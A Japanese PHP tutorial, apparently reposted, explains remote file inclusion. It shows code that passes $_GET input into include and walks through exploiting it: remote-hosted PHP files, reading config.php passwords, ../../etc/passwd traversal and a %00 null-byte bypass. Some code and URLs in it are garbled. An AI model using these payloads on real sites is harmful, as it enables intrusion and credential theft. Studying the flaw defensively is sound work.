ホームページ  >  記事  >  バックエンド開発  >  PHP_PHP チュートリアルでリモート ファイル インクルードの脆弱性の原因を説明する

PHP_PHP チュートリアルでリモート ファイル インクルードの脆弱性の原因を説明する

WBOY
WBOYオリジナル
2016-07-15 13:34:131393ブラウズ

初心者向け

最初の質問は、「リモート ファイル インクルード脆弱性」とは何ですか?簡単に言うと、サーバーは任意のファイルを含む PHP の緩いフィルタリングによって悪意のあるファイルを実行するということです。これはプログラマーのフィルタリングの問題です。すべての CGI プログラムにはこのようなバグがあることを覚えておいてください。

1. PHP リモート ファイル インクルードの脆弱性バグを見つけます:

ターゲットを見つけるには、まず、すべての言語 (ほとんど) でこのインクルードの意味を知る必要があります。任意のファイル。 PHP では、 include() 関数とそのワークフローを使用します。

Main.PHP に include1.PHP をインクルードする場合、次のように include("include1.PHP") と書きます。 あまり科学的ではありませんが、そうする必要があります。理由を知っている。
まずこれを見てみましょう。ユーザー入力が渡されると、ファイルがインクルードされます。つまり、

<ol class="dp-xml">
<li class="alt"><span><span>if ($_GET	<br>
	
	) {  </span></span></li>
<li><span>include $_GET	<br>
	
	;  </span></li>
<li class="alt"><span>} else {  </span></li>
<li>
<span>include "home.</span>PHP<span>";  </span>
</li>
<li class="alt"><span>} </span></li>
</ol>

この構造は、[url]http://www を許可することです。 .target.com /explame.PHP?page=main.PHP[/url] または [url]http://www.target.com/explame.PHP?page=downloads.PHP[/url] を参照してください。いずれにしても、プログラムにそのようなバグがある場合は、責められるしかありませんが、zone-h の調査では、このフィルタリングに問題がありました。 org、ファイルに含まれる攻撃率は 9.4% であり、これは私たちが注意を払うのに十分であり、数年前には存在していましたが、現在ではプログラマーの集団が攻撃を受けています。この記事では、2004 年にこのような記事を書くことは決まり文句になっていますが、結局のところ、人々が得をすることができる場合は文句とは言えません。

2. テスト

これは、プログラムの安全性を目的として、リモート ファイルのインクルードの例です。詳細を見てみましょう

[url]http://www.target. com/explame.PHP?page=zizzy[/url]

警告: main(zizzy): ストリームを開けませんでした: /var/www/htdocs/index.PHP の 3 行目にそのようなファイルまたはディレクトリはありません
警告: main (): /var/www/htdocs/index.PHP の 3 行目で、インクルード (include_path='.:/usr/local/lib/PHP') のために 'zizzy' を開くことができませんでした

PHP が出力するこれらのエラー メッセージは、次のことを示しています。プログラムに含める必要があるファイル /var/www/htdocs/zizzy が見つかりませんでした。これで、PHP リモート ファイルに脆弱性が含まれていることがわかりました。

3.

PHP を使用すると、リモートでファイルを呼び出すことができます。その後、yeah.txt を作成して私のサイトに置きます [url] http://www.mysite.com/yeah .txt. [/url]内容はこんな感じです

<ol class="dp-xml"><li class="alt"><span><span class="tag"><</span><span> ?  </span></span></li><li><span>echo "Wow,test!";  </span></li><li class="alt"><span class="tag">?></span><span> </span></span></li></ol>

それでは[url]http://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url]
OK、echo Wow、test!、これは実行されます。 config.PHP を読むのは難しくありません。mysql パスワードが含まれています。 Yea.txt を として記述してみてください。やりすぎた場合は、page=../../. として記述してみてください。 /.. /../../etc/passwd.これで、真のインクルージョンが何を意味するかがわかりました。

4. PHP リモート ファイルの組み込みの脆弱性のもう 1 つの原則

時々、プログラマが書き方を変更して、このように記述して、組み込みの範囲を制限することがあります

<ol class="dp-xml">
<li class="alt"><span><span>if ($_GET	<br>
	
	) {  </span></span></li>
<li>
<span>include "$_GET	<br>
	
	.</span>PHP<span>";  </span>
</li>
<li class="alt"><span>} else {  </span></li>
<li>
<span>include "home.</span>PHP<span>";  </span>
</li>
<li class="alt"><span>} </span></li>
</ol>

[url]http://www.ターゲット。com/explame.PHP?pa...e.com/yeah.txt[/url]

警告: main([url]http://www.mysite.com/yeah.txt.PHP[/url] ]) : ストリームを開けませんでした: HTTP リクエストが失敗しました! HTTP/1.1 404 Not Found in /var/www/htdocs/explame.PHP の行 3

警告: main(): 'http://www.mysite' を開くことができませんでした.com /yeah.txt.PHP' を含めるため (include_path='.:/usr/local/lib/PHP') /var/www/htdocs/explame.PHP の 3 行目

含めることができず、サフィックス名が制限されていますPHP を起動し、mysite.com のyes.txtをyes.PHPに変更します。OK、通常通り実行されます
passwdはどうすればいいですか

警告: main(../../../../. ./../ ../etc/passwd.PHP): ストリームを開けませんでした: HTTP リクエストが失敗しました! HTTP/1.1 404 が /var/www/htdocs/explame.PHP の 3 行目に見つかりません

警告: main( ): ' ../../../../../../../etc/passwd.PHP' を含めるために開くことができませんでした (include_path='.:/usr/local/lib/PHP') /var/www /htdocs/explame.PHP の 3 行目

ここでは NUL 文字を使用します。検出をスキップするには %00 です

[url]http://www.target.com/explame.PHP?pa。 ../etc/passwd%00[/url]

見てください。

5. ファイルを含める場合は、含めるファイルを指定するか、送信された変数をフィルターすることをお勧めします。これは、この PHP リモート ファイルの組み込みの脆弱性に関する記事の目的ではありません。ハッカー向けですが、インターネット上にはそのような記事がたくさんあります。誰かが利益を得る限り、目的は達成されます。

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/446010.html技術記事初心者にとっての最初の質問は、リモート ファイル インクルードの脆弱性とは何ですか?ということです。簡単に言うと、サーバーは PHP に含まれる任意のファイルの緩いフィルタリングを通じて悪意のあるファイルを実行するということです...
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。